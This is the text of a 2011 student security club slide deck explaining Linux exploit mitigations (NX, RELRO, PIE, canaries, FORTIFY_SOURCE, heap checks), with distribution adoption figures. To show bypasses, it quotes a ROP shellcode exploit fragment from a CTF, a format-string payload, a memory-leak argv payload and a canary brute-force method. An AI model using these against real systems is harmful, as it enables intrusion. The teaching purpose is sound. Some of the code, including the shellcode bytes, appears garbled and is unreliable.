Defeat userland exploits on Linux

Arnaud Maillet (arnaud.maillet@ensimag.fr)

SecurIMAG - the Ensimag IT security club
ENSIMAG - Computer Science and Mathematics
Grenoble INP University

SecurIMAG talks, September 2011
Outline

1. Memory protections
   - Non-eXecutable Memory
   - Full RELRO
   - PIE

2. Glibc and GCC security patches
   - Canary
   - Fortify source
   - Heap protector
Outline

1. Memory protections
   - Non-eXecutable Memory
     - Full RELRO
     - PIE

2. Glibc and GCC security patches
   - Canary
   - Fortify source
   - Heap protector
Non-eXecutable Memory

Reminder: Stack Overflow

- Unallocated Stack Space
- Char *bar
- Saved Frame pointer
- Return Address
- Parent Routine's Stack

- Unallocated Stack Space
- Char c[12]
- Char *bar
- Saved Frame pointer
- Return Address
- Parent Routine's Stack

- Unallocated Stack Space
- A A A A
- A A A A
- Memory Address
- Stack Growth

- Unallocated Stack Space
- A A A A
- A A A A
- Memory Address
- Stack Growth

Address 0x80C03508

Non-eXecutable Memory
Glibc and GCC security patches
Conclusion
Non-eXecutable Memory

Stack Overflow basic exploitation technics, firstly introduced by Aleph1 in 1996 ( Smashing the stack for fun and profit )

- Shellcode on the stack ( environment variables, stack buffer )
- Shellcode on the heap
- Shellcode everywhere

Prerequisites : these sections should be eXecutable!
Most modern CPUs protect against executing non-executable memory regions (heap, stack, etc).

- Hardware-based (via PAE mode):

- Partial Emulation (via segment limits):

  \[ \text{0.000000}] \text{Using x86 segment limits to approximate NX protection} \]
Non-Executable Memory and recent kernel:

<table>
<thead>
<tr>
<th>Architecture</th>
<th>Options</th>
<th>Mode</th>
</tr>
</thead>
<tbody>
<tr>
<td>i386</td>
<td>-386, -generic kernel (non-PAE)</td>
<td>nx-emulation</td>
</tr>
<tr>
<td></td>
<td>-server, -generic-pae kernel (PAE)</td>
<td>real nx</td>
</tr>
<tr>
<td>amd64</td>
<td>any kernel (PAE)</td>
<td>real nx</td>
</tr>
</tbody>
</table>
Example: 19-another-smallbug PCTF (IDA Pseudo-code)

```c
int __cdecl main(int argc, int argv_size)
{
    char buffer; // [sp+1Ch] [bp-204h]@7
    unsigned int size; // [sp+21Ch] [bp-4h]@4

    if ( argc != 2 )
    {
        printf("%s requires one arguments.\n", *(*DWORD *)argv_size);
        exit(1);
    }

    size = strtoul(*(_DWORD *)(argv_size + 4));
    if ( size > 0x1FF )
    {
        if ( log_error("[assertion] len < sizeof(buffer)") )
            myexit(2);
    }
    fgets_unlocked(&buffer, size, stdin);
    puts(&buffer);
    return 0;
}
```
Non-eXecutable Memory

ROP : mmap an rwx area, copy a shellcode and jump (StalkR’s exploit)

area, size = 0x13378000, 0x10000

# /bin/sh - 23 bytes
SC = "\x6a\x8b\x58\x99\x52\x68\x2f\x73\x68\x68\x2f\x62\x69\xe8\xe9\xe3\x52\x53\x89\xe1\xcd\x89"

def copy_byte(address, byte):
    s = pack("<I", pop_ebx)
    s += pack("<I", address)
    s += pack("<I", pop_eax)
    s += pack("<I", ord(byte))
    s += pack("<I", add_ebx)
    return s

p = "A"*532

# mmap an rwx area
p += pack("<I", mmap)
p += pack("<I", pop_14)
p += pack("<I", area) # void *addr
p += pack("<I", size) # size_t length
p += pack("<I", 0x7) # int prot - PROT_READ(0x1) | PROT_WRITE(0x2) | PROT_EXEC(0x4)
p += pack("<I", 0x22) # int flags - MAP_ANONYMOUS(0x20) | MAP_PRIVATE(0x82)
p += pack("<I", 0xffffffff) # int fd - MAP_ANONYMOUS => -1
p += pack("<I", 0) # off_t offset
p += pack("<I", 0)*(14-6) # unused

# copy shellcode - and we dont want 0a :)
for i in range(len(SC)):
    p += copy_byte(area+0xb+i, SC[i])
Outline

1. Memory protections
   - Non-eXecutable Memory
   - Full RELRO
   - PIE

2. Glibc and GCC security patches
   - Canary
   - Fortify source
   - Heap protector
Full RELRO is a generic mitigation technique to avoid GOT-overwrite-style memory corruption attacks.

- compiler command line: gcc -Wl,-z,relro,-z,now
- the entire Global Offset Table is (re)mapped as read-only
- avoid format string and 4-byte write attacks

With partial RELRO, the GOT is not read-only.
Reminder: understand the Global Offset Table with an example

```c
#include <stdio.h>
int main(int argc, char *argv[]) {
    size_t *p = (size_t *)strtol(argv[1], NULL, 16);
    p[0] = 0x41414141;
    printf("RELRO: %p\n", p);
    return 0;
}
```
Display the GOT of our program:

```
0x08049ff0 - 0x08049ff4 is .got
0x08049ff4 - 0x0804a010 is .got.plt
0x0804a010 - 0x0804a018 is .data
0x0804a018 - 0x0804a020 is .bss

(gdb) x/16x 0x08049ff4
0x08049ff4 < _GLOBAL_OFFSET_TABLE_>: 0x0804f28 0x00000000 0x00000000
0x0804a004 < _GLOBAL_OFFSET_TABLE_>+16>: 0x0804830a 0x0804831a 0x0804832a
0x0804a014 < __dso_handle>: 0x00000000 0x00000000 0x00000000 Car
address 0x0804a020
(gdb) x/3i 0x0804832a
  0x0804832a < printf@plt+6>: push $0x18
  0x0804832f < printf@plt+11>: jmp 0x080482e4
```
Full RELRO

Full RELRO running processes on Ubuntu Maverick 10.10:

- No RELRO : 1 processus
- Partial RELRO : 91 processus
- Full RELRO : 20 processus
Full RELRO running processes on Fedora 15:

- No RELRO: 49 processes
- Partial RELRO: 6 processes
- Full RELRO: 9 processes
Full RELRO running processes on Debian GNU/Linux 6.0 Squeeze:

- No RELRO : 13 processus
- Partial RELRO : 0 processus
- Full RELRO : 6 processus
Training: GOT-overwrite-style memory corruption attacks

Ivanlef0u’s challenge AMENRA
- Challenge 6: format string / no ASLR / stack +x / partial RELRO
- Challenge 7: format string / partial ASLR / stack +x / partial RELRO
- Challenge 8: format string / partial ASLR / stack -x / partial RELRO
Outline

1. Memory protections
   - Non-eXecutable Memory
   - Full RELRO
   - PIE

2. Glibc and GCC security patches
   - Canary
   - Fortify source
   - Heap protector
Position Independent Executables:

- gcc command line: -pie

- protects against "return-to-text" (ROP)

- large (5-10%) performance penalty

- often used for a select number of security-critical packages (openssh, apache, bind9, openldap, postfix, cup, postgresql, samba, dhcp3, squid ... )
In real life:

- Ubuntu Desktop 10.10: 23% of running processes are compiled with PIE
- Fedora 15: 50% of running processes are compiled with PIE
- Debian Squeeze (6.0): 35% of running processes are compiled with PIE
Outline

1. Memory protections
   - Non-eXecutable Memory
   - Full RELRO
   - PIE

2. Glibc and GCC security patches
   - Canary
   - Fortify source
   - Heap protector
Firstly introduced in Stack-Smashing Protector (SSP)

- GCC patch, command line: `-fstack-protector-all`
- reordering of local variables to place buffers after pointers to avoid the corruption of pointers
- random canary to prevent EIP overwrite
Stack-Smashing Protector (SSP)

WITHOUT SSP

Unallocated Stack Space

Char c[0]

Char c[12]

Char *bar

Saved Frame pointer

Return Address

Parent Routine's Stack

WITH SSP

Unallocated Stack Space

Char *bar

Char c[0]

Char c[12]

B4 D2 8F 65 [ CANARY ]

Saved Frame pointer

Return Address

Parent Routine's Stack
Assembly Canary Code

```
#include <string.h>

int main(int argc, char *argv[]) {
    char buf[64];
    strcpy(buf, argv[1]);
    return 0;
}
```

```
08048414 <main>:
8048414: 55      push %ebp
8048415: 89 e5   mov %esp,%ebp
8048417: 83 e4 f0 and $0xffffffff0,%esp
804841a: 83 ec 70 sub $0x70,%esp
804841d: 8b 45 0c mov 0xc(%ebp),%eax
8048420: 89 44 24 1c mov %eax,0x1c(%esp)
8048424: 65 a1 14 00 00 00 mov %gs:0x14,%eax
804842a: 89 44 24 6c mov %eax,0x6c(%esp)
804842e: 31 c0    xor %eax,%eax
8048430: 8b 44 24 1c mov 0x1c(%esp),%eax
8048434: 83 c0 04 add $0x4,%eax
8048437: 8b 00    mov (%eax),%eax
8048439: 89 44 24 04 mov %eax,0x4(%esp)
804843d: 8d 44 24 2c lea 0x2c(%esp),%eax
8048441: 89 04 24 mov %eax,(%esp)
8048444: e8 ef fe ff ff call 0848338 <strcpy@plt>
8048449: b8 00 00 00 00 00 mov $0x0,%eax
804844e: 8b 54 24 6c mov 0x6c(%esp),%edx
8048452: 65 33 15 14 00 00 00 xor %gs:0x14,%edx
8048459: 74 05    je 0848460 <main+0x4c>
804845b: e8 e8 fe ff ff call 0848348 <__stack_chk_fail@plt>
8048460: c9      leave
8048461: c3      ret
```
Exploiting canaries remotely in network daemon (Adam Zabrocki aka pi3):

Childs and the mother share the same canary.
In this configuration it’s possible to find the canary with less than 1024 tests:

First byte:
\[
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..C.. | ..C.. |
\]

Second byte:
\[
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..C.. |
\]

Third byte:
\[
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. |
\]

Fourth byte:
\[
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. |
\]
A stupid brute force would lead to $2^{32}$ combinations (4294967296 combinations):

Max : $2^n$ combinations

+ Child doesn't crash (byte found)

Max : $2^n$ combinations

+ Child doesn't crash (byte found)

Max : $2^n$ combinations

+ Child doesn't crash (byte found)

Max : $2^n$ combinations

= Child doesn't crash (byte found)

Max : 1024 combinations

4 bytes canary found!
Canary

In real life:

- Ubuntu Desktop 10.10: 75% of running processes have a canary
- Ubuntu Server 10.04: 85% of running processes have a canary
- Fedora 15: 95% of running processes have a canary
- Debian Squeeze (6.0): 20% of running processes have a canary
Outline

1. Memory protections
   - Non-eXecutable Memory
   - Full RELRO
   - PIE

2. Glibc and GCC security patches
   - Canary
   - Fortify source
   - Heap protector
Build your programs with 

```
-D_FORTIFY_SOURCE=2
```

- expand unbounded calls to "sprintf", "strcpy" into their "n" length-limited cousins.
- stop format string "%n" attacks when the format string is in a writable memory segment.
- require checking various important function return codes and arguments (e.g. system, write, open).
- require explicit file mask when creating new files.
Bypass FORTIFY_SOURCE using Format strings

Captain Planet - A Eulogy of Format strings

- Uncommon format string: "%49150u %4849$hn %1$*269158540$x %1$*13996$x %1073741824$d"
- 4-byte NULL write to disable FORTIFY_SOURCE:

```c
/* Fill in the types of all the arguments. */
for (cnt = 0; cnt < nspecs; ++cnt)
{
    /* If the width is determined by an argument this is an int. */
    if (specs[cnt].width_arg != -1)
        args_type[specs[cnt].width_arg] = PA_INT;

    args_type[ ATTACKER_OFFSET ] = 0x00000000;
```
Dan Rosenberg - Fun with FORTIFY_SOURCE

An overflow attempt can engender a sensitive memory leak.

```bash
*** stack smashing detected ***: ./strcpy terminated
======== Backtrace: ========
/lib/libc.so.6(__fortify_fail+0x40)[0x502b30]
/lib/libc.so.6(__fortify_fail+0x0)[0x502af0]
./strcpy[0x80484d5]
[0x41414141]
======== Memory map: ========
...
Aborted
```
A crafted argv[0] is used to read the application’s address space

```
$ ./strncpy `perl -e 'print "\xa0\x85\x04\x08"x80`

*** stack smashing detected ***: THIS IS A SECRET terminated
======== Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x40)[0x1f3b30]
/lib/libc.so.6(__fortify_fail+0x0)[0x1f3af0]
THIS IS A SECRET[0x80484d5]
THIS IS A SECRET[0x80485a0]
======== Memory map: =========
...
Aborted
```
Integration of FORTIFY_SOURCE :

- Ubuntu :
  - 8.04 LTS (Hardy Heron) - Built with Fortify Source
  - 10.04 LTS (Lucid Lynx) - gcc patch
  - 10.10 (Maverick Meerkat) - gcc patch
  - 11.04 (Natty Narwhal) - gcc patch
  - 11.10 (Oneiric Ocelot) - gcc patch

- Debian Lenny (2009) - Several security-critical packages
- Fedora 8 (2007) - The author of this feature is a redhat developer
Outline

1. Memory protections
   - Non-eXecutable Memory
   - Full RELRO
   - PIE

2. Glibc and GCC security patches
   - Canary
   - Fortify source
   - Heap protector
Since glibc 2.3.4, ptmalloc2/3 provides different security checks:

The "unlink" patch:

```c
/* Take a chunk off a bin list */
#define unlink(P, BK, FD) { 
  FD = P->fd;
  BK = P->bk;
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P); 
}
```
Glibc security checks

The House of Lore patch:

```c
if (in smallbin range(nb)) {
  idx = smallbin_index(nb);
  bin = bin at(av,idx);
  if ( (victim = last(bin)) != bin ) {
    if (victim == 0) /* initialization check */
      malloc_consolidate(av);
  else {
    bck = victim->bk;
    if (__builtin_expect (bck->fd != victim, 0))
      {
        errstr = "malloc(): smallbin double linked list corrupted";
        goto errout;
      }
  set_inuse_bit_at_offset(victim, nb);
}
```

Technics introduced by blackngel require considerable efforts
Protect your heap from heap overflow.

Allocator security designed:

- Jemalloc on FreeBSD
- Guard Malloc for Mac OS X
- DistriNet memory allocator
- OpenBSD malloc

SecurIMAG - Defeat userland exploits on Linux
Today, userland exploitation on Linux has become much more difficult than 15 years ago.

That’s why, concepts like ret2libc, ROP, GOT-overwrite-style memory corruption attacks have been developed.

Under certain conditions it is possible to bypass one or two protection(s), but it becomes almost impossible with all the protections.
Aleph. One
Smashing the stack for fun and profit
Phrack #49 http://www.phrack.org

blackngel.
Malloc Des-Maleficarum
Phrack #66 http://www.phrack.org

blackngel.
The House Of Lore Reloaded ptmalloc v2 & v3: Analysis & Corruption
Phrack #67 http://www.phrack.org
Adam. Zabrocki
Scraps of notes on remote stack overflow exploitation
Phrack #67 http://www.phrack.org

Wolfram. Gloger.
ptmalloc2 & ptmalloc3 homepage.
http://www.malloc.de/en/

Yves. Younan.
dnmalloc homepage.
http://www.fort-knox.org/taxonomy/term/3
Appendix

Bibliography

Bibliography III

- **Jakub. Jelinek.**
  Fortify Source patch.

- **Captain. Planet.**
  A eulogy of format string
  [Phrack #67](http://www.phrack.org)

- **Dan. Rosenberg.**
  Fun with FORTIFY_SOURCE
Bibliography IV

- **Canonical. Ubuntu.**
  Ubuntu Security Features
  https://wiki.ubuntu.com/Security/Features

- **Debian. Security Developers**
  Debian Hardening
  http://wiki.debian.org/Hardening

- **Fedora. Security Developers**
  Fedora Security Features
  http://fedoraproject.org/wiki/Security/Features
Checksec. Trapkit
checksec.sh
http://tk-blog.blogspot.com/2009/02/checksec.html

blog. StalkR
19 - Another small bug - PCTF

Emilien. Girault
Comprendre le rôle des sections PLT et GOT dans l’édition de liens dynamique
http://www.segmentationfault.fr/linux/role-plt-got-ld-so/
Relro. Trapkit
RELRO - A (not so well known) Memory Corruption Mitigation Technique

blog. xorl
Linux GLibC Stack Canary Values
http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/